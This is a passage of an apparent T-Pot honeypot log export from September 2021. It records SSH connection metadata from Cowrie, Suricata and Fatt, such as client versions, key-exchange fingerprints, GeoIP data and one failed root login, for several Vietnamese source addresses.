26063	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:38.100722+03	2021-09-20 14:15:12.782645+03	{"_id": "ngbnAnwBvYTbRNuEgB-u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "39e9467c2947", "@version": "1", "timestamp": "2021-09-20T11:11:38.100722Z", "@timestamp": "2021-09-20T11:11:38.100Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26064	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:38.186829+03	2021-09-20 14:15:12.783647+03	{"_id": "nwbnAnwBvYTbRNuEgB-u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3325e692de3e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:38.186829Z", "@timestamp": "2021-09-20T11:11:38.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26065	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:38.322835+03	2021-09-20 14:15:12.784646+03	{"_id": "oAbnAnwBvYTbRNuEgB-u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/@] failed", "session": "21ac73c02150", "@version": "1", "password": "@", "username": "root", "timestamp": "2021-09-20T11:11:38.322835Z", "@timestamp": "2021-09-20T11:11:38.322Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26066	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:38.364051+03	2021-09-20 14:15:12.785646+03	{"_id": "oQbnAnwBvYTbRNuEgB-u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "78ce23a5e910", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:38.364051Z", "@timestamp": "2021-09-20T11:11:38.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26067	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:38.393204+03	2021-09-20 14:15:12.786646+03	{"_id": "ogbnAnwBvYTbRNuEgB-u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "1934d2a8bb34", "@version": "1", "duration": 4.09045934677124, "timestamp": "2021-09-20T11:11:38.393204Z", "@timestamp": "2021-09-20T11:11:38.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26068	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:38.638071+03	2021-09-20 14:15:12.788645+03	{"_id": "pAbnAnwBvYTbRNuEgh_S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1848289455135251, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48540, "dest_port": 22, "timestamp": "2021-09-20T11:11:38.638071Z", "@timestamp": "2021-09-20T11:11:38.638Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26069	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:38.366157+03	2021-09-20 14:15:12.789645+03	{"_id": "pQbnAnwBvYTbRNuEgx_0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48540, "timestamp": "2021-09-20T11:11:38.366157", "@timestamp": "2021-09-20T11:11:38.366Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26070	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:11:38.720501+03	2021-09-20 14:15:12.790646+03	{"_id": "qAbnAnwBvYTbRNuEgx_1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48540, "dest_port": 22, "timestamp": "2021-09-20T11:11:38.720501", "@timestamp": "2021-09-20T11:11:38.720Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26071	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:11:38.775537+03	2021-09-20 14:15:12.791646+03	{"_id": "qQbnAnwBvYTbRNuEgx_1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57978, "dest_port": 22, "timestamp": "2021-09-20T11:11:38.775537", "@timestamp": "2021-09-20T11:11:38.775Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26072	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:39.160486+03	2021-09-20 14:15:12.792646+03	{"_id": "qgbnAnwBvYTbRNuEhB-V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:41270 (192.168.176.2:22) [session: 41b31117fdcd]", "session": "41b31117fdcd", "@version": "1", "protocol": "ssh", "src_port": 41270, "dest_port": 22, "timestamp": "2021-09-20T11:11:39.160486Z", "@timestamp": "2021-09-20T11:11:39.160Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26073	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:38.721209+03	2021-09-20 14:15:12.793646+03	{"_id": "uwbnAnwBvYTbRNuEhB-V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "78ce23a5e910", "@version": "1", "timestamp": "2021-09-20T11:11:38.721209Z", "@timestamp": "2021-09-20T11:11:38.721Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 